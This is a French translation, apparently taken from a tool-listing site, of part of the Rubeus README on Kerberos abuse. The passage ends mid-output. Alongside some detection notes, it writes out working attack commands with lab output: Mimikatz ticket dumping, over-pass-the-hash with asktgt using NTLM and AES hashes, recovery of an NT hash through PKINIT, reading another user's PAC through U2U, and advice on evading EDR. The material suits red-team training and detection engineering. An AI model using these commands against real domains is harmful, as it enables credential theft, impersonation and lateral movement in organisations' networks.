Toute action que vous effectuez sur un système est un risque détectable, surtout lorsque vous abusez des fonctionnalités de manière « étrange »/non prévue. Rubeus (comme n'importe quel outil d'attaquant) peut être détecté par plusieurs méthodes, que ce soit du point de vue de l'hôte, du réseau ou du domaine. J'ai un collègue qui aime dire « tout est furtif jusqu'à ce que quelqu'un le cherche » – les outils et techniques échappent généralement à la détection soit a) parce que les gens ne sont pas suffisamment conscients de l'outil/technique et donc ne cherchent même pas, b) parce que les gens ne peuvent pas collecter et traiter les données nécessaires à l'échelle appropriée, ou c) parce que l'outil/technique se fond dans le comportement existant pour s'infiltrer suffisamment avec des faux positifs dans un environnement. Il y a beaucoup plus d'informations sur ces étapes et la subversion de la détection en général dans la présentation « Subverting Sysmon » de Matt Graeber et Lee Christensen à Black Hat USA 2018 et le livre blanc associé.

Du point de vue de l'hôte, Rubeus peut être détecté lors de l'armement initial du code lui-même, par un processus anormal (autre que lsass.exe) émettant du trafic Kerberos sur le port 88, par l'utilisation d'API sensibles comme LsaCallAuthenticationPackage(), ou par la présence de tickets anormaux sur l'hôte (par exemple, l'utilisation de rc4_hmac dans des tickets dans un environnement moderne).

Du point de vue des journaux réseau ou du contrôleur de domaine, étant donné que Rubeus implémente de nombreuses parties du protocole Kerberos normal, la principale méthode de détection implique l'utilisation de rc4_hmac dans les échanges Kerberos. Les domaines Windows modernes (niveau fonctionnel 2008 et supérieur) utilisent le chiffrement AES par défaut dans les échanges Kerberos normaux (à quelques exceptions près comme les tickets de confiance inter-domaines). L'utilisation d'un hash rc4_hmac (NTLM) dans un échange Kerberos au lieu d'une clé aes256_cts_hmac_sha1 (ou aes128) produit un signal détectable au niveau de l'hôte, du réseau (si le trafic Kerberos est analysé) et des journaux d'événements du contrôleur de domaine, parfois appelé « rétrogradation de chiffrement ».

Armement

Une façon courante dont les outils d'attaque sont détectés est par le vecteur d'armement du code. Si Rubeus est exécuté via PowerShell (y compris Empire), les protections standard de PowerShell V5 s'appliquent toutes (journalisation approfondie des blocs de script, AMSI, etc.). Si Rubeus est exécuté comme un binaire sur disque, la détection antivirus standard entre en jeu (c'est en partie pourquoi nous ne publions pas de versions compilées de Rubeus, car les signatures fragiles sont stupides ;). Si Rubeus est utilisé comme bibliothèque, alors il est sensible à la méthode utilisée par l'outil principal pour s'exécuter. Et si Rubeus est exécuté via une exécution d'assembly non géré (comme execute_assembly de Cobalt Strike), une injection de code inter-processus est effectuée et le CLR est chargé dans un processus potentiellement non .NET, bien que ce signal soit présent pour l'exécution de tout code .NET utilisant cette méthode.

De plus, AMSI (l'interface d'analyse anti-logiciel malveillant) a été ajoutée à .NET 4.8. Ryan Cobb donne plus de détails sur les implications offensives de cela dans la section Défense de son article « Entering a Covenant: .NET Command and Control ».

Exemple : Extraction d'identifiants

Supposons que nous ayons un accès élevé sur une machine et que nous voulions extraire les identifiants d'un utilisateur pour les réutiliser.

Mimikatz est le couteau suisse de l'extraction d'identifiants, avec de multiples options. La commande sekurlsa::logonpasswords ouvrira un handle de lecture vers LSASS, énumérera les sessions d'ouverture de session présentes sur le système, parcourra les packages d'authentification par défaut pour chaque session d'ouverture de session, et extraira tout mot de passe/matériel d'identifiants réversible présent. Note latérale : la commande sekurlsa::ekeys énumérera TOUS les types de clés présents pour le package Kerberos.

Rubeus n'a aucun code pour toucher LSASS (et aucun n'est prévu), donc ses fonctionnalités se limitent à extraire les tickets Kerberos via l'utilisation de l'API LsaCallAuthenticationPackage(). D'un point de vue non élevé, les clés de session pour les TGTs ne sont pas renvoyées (par défaut), donc seuls les tickets de service extraits seront utilisables (la commande tgtdeleg utilise une astuce de Kekeo pour obtenir un TGT utilisable pour l'utilisateur actuel). Si dans un contexte de haute intégrité, un GetSystem équivalent utilisant la duplication de jeton est exécuté pour s'élever à SYSTEM, et une application d'ouverture de session factice est enregistrée avec l'appel API LsaRegisterLogonProcess(). Cela permet l'énumération et l'extraction privilégiées de tous les tickets actuellement enregistrés auprès de LSA sur le système, produisant des .kirbi encodés en base64 pour une réutilisation ultérieure.

Mimikatz peut effectuer la même extraction de .kirbi en base64 avec la série de commandes suivante :

root@kitploit:~
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # standard::base64 /output:true
mimikatz # kerberos::list /export

Mimikatz peut également extraire directement les tickets de la mémoire de LSASS avec :

root@kitploit:~
mimikatz # privilege::debug
mimikatz # standard::base64 /output:true
mimikatz # sekurlsa::tickets /export

Comme « tout est furtif jusqu'à ce que quelqu'un le cherche », on peut discuter pour savoir si la manipulation de LSASS ou l'extraction de tickets via l'appel API LsaCallAuthenticationPackage() est plus « furtive ». En raison de la popularité de Mimikatz, ouvrir un handle vers LSASS et lire/écrire sa mémoire est devenu une grande cible pour la détection et/ou la prévention par les EDR. Cependant, LsaCallAuthenticationPackage() est utilisé par un ensemble assez limité de processus, et créer une application d'ouverture de session factice avec LsaRegisterLogonProcess() est également un comportement assez anormal. Cependant, l'inspection complète au niveau de l'API et l'établissement de références semble être un problème technique plus difficile que la protection de LSASS.

Exemple : Over-pass-the-hash

Supposons que nous récupérions le hash rc4_hmac (NTLM) d'un utilisateur et que nous voulions réutiliser cet identifiant pour compromettre une autre machine où le compte utilisateur a un accès privilégié.

Note latérale : pass-the-hash != over-pass-the-hash. La technique traditionnelle de pass-the-hash consiste à réutiliser un hash via le protocole NTLMv1/NTLMv2, qui ne touche pas du tout Kerberos. L'approche over-pass-the-hash a été développée par Benjamin Delpy et Skip Duckwall (voir leur présentation « Abusing Microsoft Kerberos - Sorry you guys don't get it » pour plus d'informations). Cette approche transforme un hash/clé (rc4_hmac, aes256_cts_hmac_sha1, etc.) pour un utilisateur joint au domaine en un ticket d'octroi de ticket (TGT) complet.

Comparons « over-pass-the-hash » via la commande sekurlsa::pth de Mimikatz avec la commande asktgt de Rubeus (ou Kekeo si vous préférez).

Lorsque sekurlsa::pth est utilisé pour over-pass-the-hash, Mimikatz crée d'abord un nouveau processus de type d'ouverture de session 9 avec des identifiants factices – cela crée une nouvelle session d'ouverture de session « sacrificielle » qui n'interagit pas avec la session d'ouverture de session actuelle. Il ouvre ensuite le processus LSASS avec la capacité d'écrire dans la mémoire du processus, et le hash/clé fourni est ensuite patché dans la section appropriée pour la session d'ouverture de session associée (dans ce cas, la session d'ouverture de session « sacrificielle » qui a été démarrée). Cela fait démarrer le processus d'authentification Kerberos normal comme si l'utilisateur s'était normalement connecté, transformant le hash fourni en un TGT complet.

Lorsque la commande asktgt de Rubeus est exécutée (ou l'équivalent de Kekeo), le protocole Kerberos brut est utilisé pour demander un TGT, qui est ensuite appliqué à la session d'ouverture de session actuelle si le drapeau /ptt est passé.

Avec l'approche Mimikatz, des droits d'administration sont nécessaires car vous manipulez directement la mémoire de LSASS. Comme mentionné précédemment, la popularité de Mimikatz a également conduit à ce type de comportement (ouvrir un handle vers LSASS et lire/écrire sa mémoire) être une grande cible pour la détection et/ou la prévention par les EDR. Avec l'approche Rubeus/Kekeo, les droits d'administration ne sont pas nécessaires car LSASS n'est pas touché. Cependant, si le ticket est appliqué à la session d'ouverture de session actuelle (avec /ptt), le TGT de la session d'ouverture de session actuelle sera écrasé. Ce comportement peut être évité (avec un accès administratif) en utilisant la commande /createnetonly pour créer un processus/session d'ouverture de session sacrificiel, puis en utilisant /ptt /ticket:X /luid:0xa.. avec le LUID du processus nouvellement créé. Si vous utilisez Cobalt Strike, utiliser la commande make_token avec des identifiants factices puis kerberos_ticket_use avec le ticket récupéré par Rubeus vous permettra d'appliquer le nouveau TGT d'une manière qui a) ne nécessite pas de droits d'administration et b) n'écrase pas le TGT de la session d'ouverture de session actuelle.

Nous sommes d'avis que l'approche de manipulation de LSASS est plus susceptible (au moment actuel) d'être détectée ou atténuée en raison de la popularité de la technique. Cependant, l'approche Rubeus entraîne également un autre comportement détectable. Le trafic Kerberos vers le port 88 ne devrait normalement provenir que de lsass.exe - envoyer du trafic brut de ce type depuis un processus anormal pourrait être détectable si l'information peut être collectée.

Note latérale : une façon dont les deux approches peuvent potentiellement être détectées est la « rétrogradation de chiffrement » mentionnée précédemment. Pour récupérer les clés AES, utilisez le module sekurlsa::ekeys de Mimikatz pour retourner TOUTES les clés de chiffrement Kerberos (de même avec lsadump::dcsync) qui sont meilleures à utiliser lorsque vous essayez d'éviter certaines détections.

Demandes et renouvellements de tickets

Ventilation des commandes de demande de tickets :

asktgt

L'action asktgt construit du trafic AS-REQ brut (demande de TGT) pour l'utilisateur et la clé de chiffrement spécifiés (/rc4, /aes128, /aes256 ou /des). Un drapeau /password peut également être utilisé à la place d'un hash – dans ce cas, /enctype:X utilisera par défaut RC4 pour l'échange, avec des|aes128|aes256 comme options. Si aucun /domain n'est spécifié, le domaine actuel de l'ordinateur est extrait, et si aucun /dc n'est spécifié, la même chose est faite pour le contrôleur de domaine actuel du système. Si l'authentification réussit, l'AS-REP résultante est analysée et le KRB-CRED (un .kirbi, qui inclut le TGT de l'utilisateur) est produit sous forme de blob base64. Le drapeau /ptt « pass-the-ticket » et applique le ticket Kerberos résultant à la session d'ouverture de session actuelle. Le drapeau /luid:0xA.. appliquera le ticket à l'ID de session d'ouverture de session spécifié (élévation nécessaire) au lieu de la session d'ouverture de session actuelle.

Notez qu'aucun privilège élevé n'est nécessaire sur l'hôte pour demander des TGTs ou les appliquer à la session d'ouverture de session actuelle, seulement le hash correct pour l'utilisateur cible. De plus, une autre note opsec : un seul TGT peut être appliqué à la fois à la session d'ouverture de session actuelle, donc le TGT précédent est effacé lorsque le nouveau ticket est appliqué en utilisant l'option /ptt. Une solution de contournement consiste à utiliser le paramètre /createnetonly:C:\X.exe (qui cache le processus par défaut sauf si le drapeau /show est spécifié), ou à demander le ticket et à l'appliquer à une autre session d'ouverture de session avec ptt /luid:0xA...

Par défaut, plusieurs différences existent entre les AS-REQ générées par Rubeus et les AS-REQ authentiques. Pour former des AS-REQ plus conformes aux demandes authentiques, le drapeau /opsec peut être utilisé ; cela enverra d'abord une AS-REQ initiale sans pré-authentification ; si cela réussit, l'AS-REP résultante est déchiffrée et le TGT est retourné, sinon une AS-REQ avec pré-authentification est ensuite envoyée. Comme ce drapeau est destiné à rendre le trafic Rubeus plus furtif, il ne peut pas être utilisé par défaut avec un type de chiffrement autre que aes256 et lancera simplement un avertissement et se fermera si un autre type de chiffrement est utilisé. Pour permettre l'utilisation d'autres types de chiffrement avec les changements /opsec, le drapeau /force existe.L'authentification PKINIT est prise en charge avec l'argument /certificate:X. Lorsque la clé privée dans le fichier PFX est protégée par mot de passe, ce mot de passe peut être passé avec l'argument /password:X. Lors de l'utilisation de l'authentification PKINIT, le drapeau /getcredentials peut être utilisé pour demander automatiquement un ticket de service U2U et récupérer le hachage NT du compte.

La demande d'un TGT sans PAC peut être effectuée à l'aide du commutateur /nopac.

L'utilisation d'un proxy KDC (MS-KKDCP) pour effectuer la requête est possible avec l'argument /proxyurl:URL. L'URL complète du proxy KDC est requise, par exemple https://kdcproxy.exmaple.com/kdcproxy

Le drapeau /nopreauth peut être utilisé pour envoyer une AS-REQ sans pré-authentification. L'argument /service:SPN peut être utilisé pour demander des tickets de service directement via des AS-REQ, il prend un SPN ou un nom d'utilisateur.

Demande d'un ticket via le hachage RC4 pour [email protected], application à la session d'ouverture en cours :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[+] TGT request successful!
[*] base64(ticket.kirbi):

    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

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  krbtgt/testlab.local
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:06:07 PM
EndTime               :  2/25/2019 8:06:07 PM
RenewTill             :  3/4/2019 3:06:07 PM
Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  +zY8adXi2NuvkAxl1ohUOA==

Demande d'un ticket via le hachage aes256_hmac pour [email protected], démarrage d'un nouveau processus caché et application du ticket à cette session d'ouverture. Remarque : élévation requise !

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 7564
[+] LUID            : 0x3c4c241

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27
[*] Target LUID : 63226433
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 234 bytes
[*] Received 1620 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)...

[*] Action: Import Ticket
[*] Target LUID: 0x3c4c241
[+] Ticket successfully imported!

Notez que les paramètres /luid et /createnetonly nécessitent une élévation !

Demande d'un ticket à l'aide d'un certificat et utilisation de /getcredentials pour récupérer le hachage NT :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE=

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local
[*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA==

  ServiceName              :  krbtgt/rubeus.ghostpack.local
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  harmj0y
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  14/07/2021 02:25:33
  EndTime                  :  14/07/2021 12:25:33
  RenewTill                :  21/07/2021 02:25:33
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  7MS2ajfZo4HedoK+K3dLcQ==
  ASREP (key)              :  9B1C28A276FBBE557D0F9EE153FE24E1

[*] Getting credentials using U2U

  CredentialInfo         :
    Version              : 0
    EncryptionType       : rc4_hmac
    CredentialData       :
      CredentialCount    : 1
       NTLM              : C69A7EA908898C23B72E65329AF7E3E8

asktgs

L'action asktgs construit/analyse une demande de ticket de service TGS-REQ/TGS-REP brute en utilisant le TGT spécifié /ticket:X fourni. Cette valeur peut être un encodage base64 d'un fichier .kirbi ou le chemin vers un fichier .kirbi sur le disque. Si un /dc n'est pas spécifié, le contrôleur de domaine actuel de l'ordinateur est extrait et utilisé comme destination pour le trafic de la demande. Le drapeau /ptt permet de "pass-the-ticket" et d'appliquer le ticket de service résultant à la session d'ouverture en cours. Un ou plusieurs SPN /service:X doivent être spécifiés, séparés par des virgules.

Les types de chiffrement pris en charge dans le TGS-REQ construit seront RC4_HMAC, AES128_CTS_HMAC_SHA1 et AES256_CTS_HMAC_SHA1. Dans ce cas, le chiffrement le plus élevé mutuellement pris en charge sera utilisé par le KDC pour construire le ticket de service retourné. Si vous souhaitez forcer les clés DES, RC4 ou AES128/256, utilisez /enctype:[RC4|AES128|AES256|DES].

Afin de demander un ticket de service pour un compte utilisant un principal d'entreprise (par exemple [email protected]), le drapeau /enterprise peut être utilisé.

Par défaut, plusieurs différences existent entre les TGS-REQ générés par Rubeus et les véritables TGS-REQ. Pour former des TGS-REQ plus conformes aux demandes authentiques, le drapeau /opsec peut être utilisé ; cela entraînera également l'envoi automatique d'un TGS-REQ supplémentaire lorsqu'un ticket de service est demandé pour un compte configuré pour une délégation non contrainte. Comme ce drapeau est destiné à rendre le trafic Rubeus plus discret, il ne peut par défaut être utilisé avec un type de chiffrement autre que aes256 et émettra simplement un avertissement et se fermera si un autre type de chiffrement est utilisé.

Pour jouer manuellement avec d'autres scénarios, /tgs:X peut être utilisé pour fournir un ticket supplémentaire qui est ajouté au corps de la requête. Cela ajoute également l'option de délégation contrainte du KDC et évite de déterminer dynamiquement le domaine à partir du SPN donné /service:X. Pour cette raison, l'argument /targetdomain:X a été implémenté pour forcer la requête à utiliser le domaine fourni, ce qui est utile pour demander des tickets de service délégués depuis un domaine étranger ou des tickets avec des SPN habituels.

Le drapeau /u2u a été implémenté pour demander des tickets User-to-User. Avec l'argument /tgs:X (utilisé pour fournir le TGT du compte cible), l'argument /service:X peut être le nom d'utilisateur du compte pour lequel le TGT fourni est destiné (avec l'argument /tgs:X). L'argument /targetuser:X demandera un PAC de tout autre compte en insérant une section de données PA-FOR-USER avec le nom d'utilisateur de l'utilisateur cible.

Le drapeau /printargs affichera les arguments nécessaires pour forger un ticket avec les mêmes valeurs PAC si le PAC est lisible. Cela peut être fait en fournissant l'argument /servicekey:X ou en effectuant une requête /u2u avec une clé de session connue.

L'utilisation d'un proxy KDC (MS-KKDCP) pour effectuer la requête est possible avec l'argument /proxyurl:URL. L'URL complète du proxy KDC est requise, par exemple https://kdcproxy.exmaple.com/kdcproxy

Le drapeau /keyList a été implémenté pour les demandes de liste de clés Kerberos. Ces demandes doivent utiliser un TGT partiel forgé provenant d'un contrôleur de domaine en lecture seule dans le paramètre /ticket:BASE64|FILE.KIRBI, plus de détails sur ce TGT forgé dans la section golden. De plus, le champ /spn:x doit être défini sur le SPN KRBTGT du domaine, par exemple KRBTBT/domain.local.

L'action asktgs prend également en charge la demande de tickets de service via le package d'authentification Kerberos en utilisant LSASS. Ce mode de fonctionnement peut être activé en omettant l'argument /ticket. Par défaut, le TGT associé à la session d'ouverture actuelle est utilisé. Une session d'ouverture alternative peut être ciblée en fournissant l'argument /luid:xxx. Des privilèges d'administrateur local sont requis lors du ciblage d'autres sessions d'ouverture. Actuellement, seuls des tickets de service simples peuvent être demandés via LSASS. Les arguments pour des fonctionnalités telles que S4U2Self, U2U, la liste de clés et le proxy KDC sont ignorés. Demander des tickets de service via LSASS peut souvent être plus discret du point de vue de l'opsec, car le trafic Kerberos proviendra de LSASS. Ce mode est également requis pour les scénarios où Credential Guard / Remote Credential Guard est actif, car il n'est pas possible de vider les TGT avec credential guard.

Demande d'un TGT pour dfm.a et ensuite utilisation de ce ticket pour demander un ticket de service pour les SPN "LDAP/primary.testlab.local" et "cifs/primary.testlab.local" :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...

C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
[+] Ticket successfully imported!


C:\Rubeus>Rubeus.exe klist

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: List Kerberos Tickets (Current User)

    [0] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : cifs/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

    [1] - 0x12 - aes256_cts_hmac_sha1
    Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
    Server Name       : LDAP/primary.testlab.local @ TESTLAB.LOCAL
    Client Name       : dfm.a @ TESTLAB.LOCAL
    Flags             : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)

Demande d'un ticket de service pour un compte de service compatible AES, en spécifiant que nous ne prenons en charge que RC4_HMAC :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.1

[*] Action: Ask TGS

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):

    doIFrjCCBaqgAwIBBaEDA...(snip)...

[*] Action: Describe Ticket

UserName              :  dfm.a
UserRealm             :  TESTLAB.LOCAL
ServiceName           :  roast/me
ServiceRealm          :  TESTLAB.LOCAL
StartTime             :  2/25/2019 3:10:59 PM
EndTime               :  2/25/2019 8:09:54 PM
RenewTill             :  3/4/2019 3:09:54 PM
Flags                 :  name_canonicalize, pre_authent, renewable, forwardable
KeyType               :  rc4_hmac
Base64(key)           :  Gg3zZicIl5c50KGecCf8XA==

En demandant un ticket de service utilisateur à utilisateur et en incluant la section PA-DATA PA for User (une demande S4U2self), il est possible d'obtenir un PAC lisible pour n'importe quel utilisateur :

root@kitploit:~
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Ask TGS

[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):

      doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      cGxvaXRwaA==ServiceName              :  exploitph
  ServiceRealm             :  RUBEUS.GHOSTPACK.LOCAL
  UserName                 :  ccob
  UserRealm                :  RUBEUS.GHOSTPACK.LOCAL
  StartTime                :  20/07/2021 22:00:07
  EndTime                  :  21/07/2021 07:59:39
  RenewTill                :  27/07/2021 21:59:39
  Flags                    :  name_canonicalize, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
  Decrypted PAC            :
    LogonInfo              :
      LogonTime            : 01/01/1601 00:00:00
      LogoffTime           :
      KickOffTime          :
